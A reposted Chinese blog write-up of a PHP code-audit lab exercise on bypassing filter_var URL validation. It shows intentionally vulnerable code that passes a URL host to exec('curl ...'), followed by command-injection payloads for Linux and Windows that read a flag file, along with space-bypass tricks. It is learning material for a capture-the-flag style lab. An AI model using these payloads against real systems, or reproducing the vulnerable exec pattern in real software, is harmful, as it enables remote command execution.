代码审计——filter_var函数
Posted negnegil
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码审计——filter_var函数相关的知识,希望对你有一定的参考价值。
红日安全代码审计——day2
原项目地址:
https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day2/files/README.md
本文是对day2课后习题的解题及学习
// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}
}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}
?>
// f1agi3hEre.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>
源码分析
分析源码,看到exec函数处就知道是让我们构造一个代码执行,读取f1agi3hEre.php中的falg。
通过GET方式传入url,要能通过第一个if判断,这里filter_var的过滤器FILTER_VALIDATE_URL的过滤规则为:把值作为URL来验证且默认模式下必须带有http://、ssh://等协议。接着向下,parse_url将我们传入的url进行分割,对主机名进行第二个if判断,判断主机名的尾部是否是sec-redclub.com,判断正确即可执行下面的命令执行语句:exec('curl "'.$site_info['host'].'"', $result); 。
这里想要通过第一个判断,url中必须包含
http://等协议和sec-redclub.com
这让我想到了url重定向和cors的绕过方式
backurl=http://example.com@sec-redclub.com //url重定向
那就先试试这种方式行不行
发现这种方式是可行的,也能通过第二个判断,而要想读取flag还要回到命令执行的源码之中去
exec('curl "'.$site_info['host'].'"', $result);
我们希望构造的语句为
exec('curl "'.http://+待执行的命令+sec-redclub.com .'"',$result);
linux下的利用
这里我并没有分析出利用方式,但看了红日团队的解题知道了思路:
和sql注入的拼凑方式相似,这里我们可以通过使用多命令执行符让其执行多个命令,红日团队给出的利用方式为:
url=demo://";ls;#;sec-redclub.com:80/
注意:这里使用demo://替换http://的原因为http://中加入特殊符号无法通过filter_var的过滤
继续,拼接进原代码中为:
exec('curl "demo://"; ls ; # ;sec-redclub.com:80/'
同时执行多个命令,即使前面一个和最后一个执行不成功也没关系,只要我们想要的 ls 执行成功了就行
与此相似,将 ls 改成 cat f1agi3hEre.php 即可读取flag
但这里cat后的空格无法通过filter_var的检测,所以改成cat<f1agi3hEre.php即可读取flag
红日团队构造的语句为:
url=demo://";ls;%23;sec-redclub.com:80/
url=demo://";cat<f1agi3hEre.php;%23;sec-redclub.com:80/
windows下的利用
但是!
在我的环境中执行后确实这样的
这样的
想了好长时间,和官方给的解题对比了好几遍都没有发现问题
后来猛然想起来我他喵的是用windows搭的环境,而红日团队用的是linux。。。
修改成windows的命令,多行命令连接符也要修改,就变成了如下这样
url=demo://"||dir||"sec-redclub.com:80/
拼接到源码中就是:
curl"demo://"||dir||"sec-redclub.com:80/
解释:当curl"demo://"执行失败时执行dir,若dir执行失败则执行后面的
读取flag:
url=demo://"||type,f1agi3hEre.php||"sec-redclub.com:80/
这里使用逗号代替空格,原因是空格无法通过filter_var的过滤
成功
以上是关于代码审计——filter_var函数的主要内容,如果未能解决你的问题,请参考以下文章